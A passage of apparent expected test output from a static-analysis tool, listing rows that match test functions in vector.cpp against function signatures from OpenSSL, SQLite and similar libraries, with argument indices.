vector_iterator_assign_wrapper | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (RSA *,int) | | RSA_clear_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (RSA *,int) | | RSA_set_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL *,int) | | SSL_key_update | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL *,int) | | SSL_set_purpose | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL *,int) | | SSL_set_read_ahead | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL *,int) | | SSL_set_security_level | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL *,int) | | SSL_set_shutdown | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL *,int) | | SSL_set_trust | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL *,int) | | SSL_set_verify_depth | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL_CTX *,int) | | ssl_md | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509 *,int) | | X509_delete_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509 *,int) | | X509_self_signed | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (acttab *,int) | | acttab_insert | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (char *,int) | | PEM_proc_type | 1 | | vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (char,int) | CStringT | CStringT | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const BIGNUM *,int) | | BN_get_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const BIO *,int) | | BIO_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const BIO *,int) | | BIO_test_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const DH *,int) | | DH_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const DH *,int) | | DH_test_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const DH *,int) | | ossl_dh_dup | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const DSA *,int) | | DSA_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const DSA *,int) | | DSA_test_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const DSA *,int) | | ossl_dsa_dup | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const RSA *,int) | | RSA_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const RSA *,int) | | RSA_test_flags | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const RSA *,int) | | ossl_rsa_dup | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const SSL *,int) | | SSL_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const UI *,int) | | UI_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const X509 *,int) | | X509_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const X509 *,int) | | X509_get_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const XCHAR *,int) | CStringT | CStringT | 1 | | vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const YCHAR *,int) | CStringT | CStringT | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const char *,int) | | DH_meth_new | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const char *,int) | | DSA_meth_new | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const char *,int) | | Jim_StrDupLen | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const char *,int) | | RSA_meth_new | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const char *,int) | | parse_yesno | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (int *,int) | | X509_PURPOSE_set | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (int *,int) | | X509_TRUST_set | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (int,int) | | BN_security_bits | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (int,int) | | EVP_MD_meth_new | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (int,int) | | EVP_PKEY_meth_new | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (int,int) | | acttab_alloc | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (rule *,int) | | Configlist_add | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (rule *,int) | | Configlist_addbasis | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (uint16_t,int) | | tls1_group_id2nid | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (unsigned char *,int) | | RAND_bytes | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (void *,int) | | DSO_dsobyaddr | 1 | +| vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (void *,int) | | sqlite3_realloc | 1 | | vector.cpp:333:6:333:35 | vector_iterator_assign_wrapper | (wchar_t,int) | CStringT | CStringT | 1 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | ASN1_STRING_type_new | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | ASN1_tag2bit | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | ASN1_tag2str | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | EVP_PKEY_asn1_get0 | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | Jim_ReturnCode | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | Jim_SignalId | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | OBJ_nid2ln | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | OBJ_nid2obj | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | OBJ_nid2sn | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | OSSL_STORE_INFO_type_string | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | OSSL_trace_get_category_name | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | PKCS12_init | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | Symbol_Nth | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | X509_PURPOSE_get0 | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | X509_PURPOSE_get_by_id | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | X509_TRUST_get0 | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | X509_TRUST_get_by_id | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | evp_pkey_type2name | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | ossl_cmp_bodytype_to_string | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | ossl_tolower | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | ossl_toupper | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | pulldown_test_framework | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | sqlite3_compileoption_get | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | sqlite3_errstr | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | tls1_alert_code | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | tls13_alert_code | 0 | +| vector.cpp:337:6:337:32 | test_vector_output_iterator | (int) | | wait_until_sock_readable | 0 | +| vector.cpp:417:6:417:25 | test_vector_inserter | (char *) | | SRP_VBASE_new | 0 | +| vector.cpp:417:6:417:25 | test_vector_inserter | (char *) | | defossilize | 0 | +| vector.cpp:417:6:417:25 | test_vector_inserter | (char *) | | make_uppercase | 0 | +| vector.cpp:417:6:417:25 | test_vector_inserter | (char *) | | next_item | 0 | | vector.cpp:417:6:417:25 | test_vector_inserter | (char *) | CStringT | CStringT | 0 | +| vector.cpp:454:7:454:12 | memcpy | (BIO *,OCSP_REQUEST *,unsigned long) | | OCSP_REQUEST_print | 2 | +| vector.cpp:454:7:454:12 | memcpy | (BIO *,OCSP_RESPONSE *,unsigned long) | | OCSP_RESPONSE_print | 2 | +| vector.cpp:454:7:454:12 | memcpy | (BIO *,X509 *,unsigned long) | | ossl_x509_print_ex_brief | 2 | +| vector.cpp:454:7:454:12 | memcpy | (BIO *,X509_CRL *,unsigned long) | | X509_CRL_print_ex | 2 | +| vector.cpp:454:7:454:12 | memcpy | (BIO *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex | 2 | +| vector.cpp:454:7:454:12 | memcpy | (BLAKE2B_CTX *,const void *,size_t) | | ossl_blake2b_update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (BLAKE2B_CTX *,const void *,size_t) | | ossl_blake2b_update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_personal | 2 | +| vector.cpp:454:7:454:12 | memcpy | (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_salt | 2 | +| vector.cpp:454:7:454:12 | memcpy | (BLAKE2S_CTX *,const void *,size_t) | | ossl_blake2s_update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (BLAKE2S_CTX *,const void *,size_t) | | ossl_blake2s_update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (BLAKE2S_PARAM *,const uint8_t *,size_t) | | ossl_blake2s_param_set_personal | 2 | +| vector.cpp:454:7:454:12 | memcpy | (BLAKE2S_PARAM *,const uint8_t *,size_t) | | ossl_blake2s_param_set_salt | 2 | +| vector.cpp:454:7:454:12 | memcpy | (CCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_ccm128_aad | 2 | +| vector.cpp:454:7:454:12 | memcpy | (CCM128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_ccm128_tag | 2 | +| vector.cpp:454:7:454:12 | memcpy | (CMAC_CTX *,const void *,size_t) | | CMAC_Update | 1 | +| vector.cpp:454:7:454:12 | memcpy | (CMAC_CTX *,const void *,size_t) | | CMAC_Update | 2 | +| vector.cpp:454:7:454:12 | memcpy | (CMS_RecipientInfo *,const unsigned char *,size_t) | | CMS_RecipientInfo_kekri_id_cmp | 2 | +| vector.cpp:454:7:454:12 | memcpy | (DH *,const unsigned char *,size_t) | | ossl_dh_buf2key | 2 | +| vector.cpp:454:7:454:12 | memcpy | (EC_GROUP *,const unsigned char *,size_t) | | EC_GROUP_set_seed | 2 | +| vector.cpp:454:7:454:12 | memcpy | (EC_KEY *,const unsigned char *,size_t) | | ossl_ec_key_simple_oct2priv | 2 | +| vector.cpp:454:7:454:12 | memcpy | (EVP_MD_CTX *,const unsigned char *,size_t) | | EVP_DigestVerifyFinal | 2 | +| vector.cpp:454:7:454:12 | memcpy | (EVP_PKEY *,char *,size_t) | | EVP_PKEY_get_default_digest_name | 2 | +| vector.cpp:454:7:454:12 | memcpy | (EVP_RAND_CTX *,unsigned char *,size_t) | | EVP_RAND_nonce | 2 | +| vector.cpp:454:7:454:12 | memcpy | (FFC_PARAMS *,const unsigned char *,size_t) | | ossl_ffc_params_set_seed | 2 | +| vector.cpp:454:7:454:12 | memcpy | (FILE *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex_fp | 2 | +| vector.cpp:454:7:454:12 | memcpy | (GCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_gcm128_aad | 2 | +| vector.cpp:454:7:454:12 | memcpy | (GCM128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_gcm128_setiv | 2 | +| vector.cpp:454:7:454:12 | memcpy | (GCM128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_gcm128_tag | 2 | +| vector.cpp:454:7:454:12 | memcpy | (KECCAK1600_CTX *,const void *,size_t) | | 